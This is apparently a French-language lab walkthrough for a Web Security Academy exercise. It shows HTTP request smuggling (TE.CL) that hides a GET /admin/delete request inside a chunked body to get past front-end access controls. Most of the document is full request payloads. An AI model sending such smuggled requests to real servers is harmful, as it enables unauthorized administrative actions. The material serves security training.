> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/front-end-security-bypass-via-te-cl.md).
# Contournement de la sécurité front-end via TE.CL
### Exploiter l'évasion de requêtes HTTP pour contourner les contrôles de sécurité du front-end, vulnérabilité TE.CL
Le système est basé sur un serveur front-end et un serveur back-end. / Back-end **ne gère pas l'encodage segmenté**, tandis que le front-end **verrouille l'accès à /admin**. / L'objectif est de **dissimuler une requête vers /admin** afin de supprimer l'utilisateur carlos.
Bien que l'application prenne en charge HTTP/2, l'exploitation repose sur des techniques spécifiques à HTTP/1.
#### **Observation initiale**
Le front-end interprète correctement `Transfer-Encoding: chunked`. / Nous envoyons d'abord une requête simple :
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked
0
```
#### **Construction de la requête dissimulée**
Un **nouvelle requête complète** est injectée dans le corps segmenté.
#### **Modèle préparatoire**
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: taille
Transfer-Encoding: chunked
taille
GET /admin HTTP/1.1
Host: localhost
Content-Length: taille
test=testing
0
```
#### **Ajustement de la taille**
Un minimum `Content-Length` du côté du front-end est fixé, suivi d'un fragment contenant la requête dissimulée :
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
Le serveur interprète correctement la requête injectée.
#### **Injection de la requête finale pour supprimer Carlos**
La requête cible est remplacée par une suppression d'utilisateur :
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
Cette requête dissimulée est ensuite traitée directement par le back-end, contournant complètement le filtrage du front-end.
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
---
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